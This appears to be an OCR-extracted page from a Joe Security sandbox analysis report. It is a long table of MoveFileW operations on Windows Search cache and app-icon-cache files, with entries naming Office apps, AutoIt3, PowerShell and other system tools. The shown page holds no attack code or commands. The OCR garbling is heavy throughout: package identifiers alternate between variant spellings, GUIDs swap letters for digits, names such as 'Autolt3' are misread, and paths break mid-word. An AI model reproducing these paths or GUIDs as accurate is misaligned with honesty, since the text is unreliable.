C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\\C__ Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_15[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\I\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_16[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\I\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy cache_Desktop_23[1].txt
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\AC\AppCache\B3

DALWIM\I\C__ Windows_SystemApps

_Microsoft. Windows.Search_cw5n

1h2txyewy_cache_Desktop_13[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\AC\AppCache\B3

D4LWIM\1\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_24[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\AC\AppCache\B3

D4LWIM\1\C__ Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_20[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\1\C__ Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_25[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\AC\AppCache\B3

D4LWIM\1\C__ Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_26[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\AC\AppCache\B3

D4LWIM\I\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_3[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\I\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_22[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\I\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_5[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\I\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_6[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\\C__ Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_9[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\308046B0AF4A39CB

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\308046B0AF4A39CB

;PrivateBrowsingAUMID

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Chrome

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\https___java_com_
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\AC\AppCache\B3

DALWIM\I\C__ Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_11[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\https___java_com_help

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated_{116229A7-9A3B-2078-DB5F-

B5A20811242C}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated {16988324-21C9-05B2-CA60-

9B4EC72739D8}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated_{8AA47365-B2B3-1961-69EB-

F866E376B12F}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated_{8ABD94FB-E7D6-84A6-A997-

C918EDDEOAES5}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated {923DD477-5846-686B-A659-

OFCCD73851A8}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated_{BB044BFD-25B7-2FAA-22A8-

6371A93E0456}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated {BD3F924E-55FB-A1BA-9D

E6-B50F9F2460AC}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_21[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated {C1C6F8AC-40A3-0F5C-146F-

65A9DC70BBB4}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated_{C804BBA7-FA5F-CBF7-8B

55-2096E5F972CB}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated_{E8B84CFB-B069-BC13-F88F-

170904F645E5}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated_{DAA168DE-4306-C8BC-8C

11-B596240BDDED}
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated {E7A33582-E908-3379-5368-

5999454DCD83}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_AutoGe

nerated_{F1118828-A0CC-5FEB-85C9-

DBFFDF98434A}

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Intern

etExplorer_Default

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_DATABASECOMPARE_EXE_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_EXCEL_EXE_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_lync_exe_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_MSACCESS_EXE_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\AC\AppCache\B3

D4LWIM\I\C__ Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_2[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_msoev_exe_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_OcPubMgr_exe_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_MSPUB_EXE_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_ONENOTE_EXE_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_OUTLOOK_EXE_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_POWERPNT_EXE_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_SETLANG_EXE_15
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_SPREADSHEETCOMPARE_EXE_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_Office

_WINWORD_EXE_15

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_SkyDri

ve_Desktop

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\AC\AppCache\B3

D4LWIM\I\C__ Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_14[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Window

sCalculator_8wekyb3d8bbwe!App

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Window

sSoundRecorder_8wekyb3d8bbwe!App

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Window

s_Explorer

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\I\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_7[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Window

s_AdministrativeTools

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Window

s_Computer

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Window

sAlarms_8wekyb3d8bbwe!App

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\\C__ Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_19[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_Window

s_ControlPanel

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_ Window

s_MediaPlayer32

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft_Window

s_Photos_8wekyb3d8bbwe!App
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\Microsoft Window

s_RemoteDesktop

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\Microsoft_ Window

s_Shell_RunDialog

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_cleanmg

r_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\MSEdge

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_cmd_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_comexp_

msc

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc
h_cw5n1h2txyewy\LocalState\App
IconCache\100\{1AC14E77-02E7-4
E5D-B744-2EB1AE5198B7}_charmap
exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc
h_cw5n1h2txyewy\LocalState\App
IconCache\100\{1AC14E77-02E7-4
E5D-B744-2EB1AE5198B7}_MdSched
exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_dfrgui_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_iscsicp

|_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc
h_cw5n1h2txyewy\LocalState\App
IconCache\100\{1AC14E77-02E7-4
E5D-B744-2EB1AE5198B7}_magnify
exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_msconfi

g_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_msinfo3

2_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc
h_cwb5n1h2txyewy\LocalState\App
IconCache\100\{1AC14E77-02E7-4
E5D-B744-2EB1AE5198B7}_mspaint
exe

Copyright Joe Security LLC 2023 Page 101 of 379



Old File Path New File Path Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_narrato

r_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_odbcad3

2_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc
h_cwb5n1h2txyewy\LocalState\App
IconCache\100\{1AC14E77-02E7-4
E5D-B744-2EB1AE5198B7}_notepad
exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_osk_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_printma

nagement_msc

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_quickas

sist_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_psr_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_Recover

yDrive_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_service

s_msc

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_Snippin

gTool_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_WFS_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_WF_msc

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_Windows

PowerShell_v1_0_powershell_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\App

IconCache\100\{1AC14E77-02E7-4

E5D-B744-2EB1AE5198B7}_Windows

PowerShell_v1_0_PowerShell _ISE_exe
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{6D809377-6AF0-444B-

8957-A3773F02200E}_7-Zip_7-zip_chm

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{6D809377-6AF0-444B-

8957-A3773F02200E}_7-Zip_7zFM_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{6D809377-6AF0-444B-

8957-A3773F02200E}_Adobe_Acrobat

DC_Acrobat_Acrobat_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2EOBIFASE}_Autolt3

_AuBInfo_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2EO0BIFASE}_Autolt3

_AuBInfo_x64_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2EO0BIFASE}_Autolt3

_Aut2Exe_Aut2exe_x64_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2EO0BIFASE}_Autolt3

_Aut2Exe_Aut2exe_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{6D809377-6AF0-444B-

8957-A3773F02200E}_Windows

NT_Accessories_wordpad_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{6D809377-6AF0-444B-

8957-A3773F02200E}_Common

Files_Microsoft Shared_Ink_mip_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AQFB-4

BFC-874A-COF2E0B9FA8E}_Autolt3

_Autolt v3 Website_url

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2EO0BIFABE}_Autolt3

_Autolt3_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AQFB-4

BFC-874A-COF2E0B9FABE}_Autolt3

_Autolt3_x64_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2EOB9FASE}_Autolt3

_AutoltX_AutoltX_chm

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2EOB9FABSE}_Autolt3

_Examples
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2E0B9FASE}_Autolt3

_Autolt_chm

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2EOBOFASE}_Autolt3

_Extras

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2EOBIFASE}_Autolt3

_SciTE_SciTE_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{D65231B0-B2F1-4857-

A4CE-ABE7C6EA7D27}_odbcad32_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{7C5A40EF-AOFB-4

BFC-874A-COF2EOBIFA8E}_Java_jre-

1_8_bin_javacpl_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{D65231B0-B2F1-4857-

A4CE-ABE7C6EA7D27}_Windows

PowerShell_v1_0_powershell_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Apps_{21e1abca-d304-

4fe9-9f11-f59b69b7551a}\Apps. ft

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Con

straintindex\Apps_{21e1abca-d304-

4fe9-9f11-f59b69b7551a}\0.0

filtertrie.intermediate. txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{F38BF404-1D43-42F2-

9305-67DE0B28FC23}_regedit_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\App

IconCache\100\{D65231B0-B2F1-4857-

A4CE-ABE7C6EA7D27}_Windows

PowerShell_v1_0_PowerShell_ISE_exe

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Apps_{30790aa3-b4ab-

4006-b412-570675b6dd22}\0.0

filtertrie.intermediate. txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Apps_{30790aa3-b4ab-

4006-b412-570675b6dd22}\Apps. ft

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Apps_{ea91a05a-d98f-

4429-81a9-272df0335447}\0.0

filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Apps_{ea91a05a-d98f-

4429-81a9-272df0335447}\Apps. ft
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Searc

h_cw5n1h2txyewy\LocalState\Con

straintindex\Apps_{ec7f021a-9e82-

49b5-b625-b8faa00e1d97}\0.0

filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Apps_{ec7f021a-9e82-

49b5-b625-b8faa00e1d97}\Apps.ft

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Con

straintindex\Input_{4e763a36-90d3-

4d6c¢-9949-dd01f7e5d23f\ap

pssynonyms.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

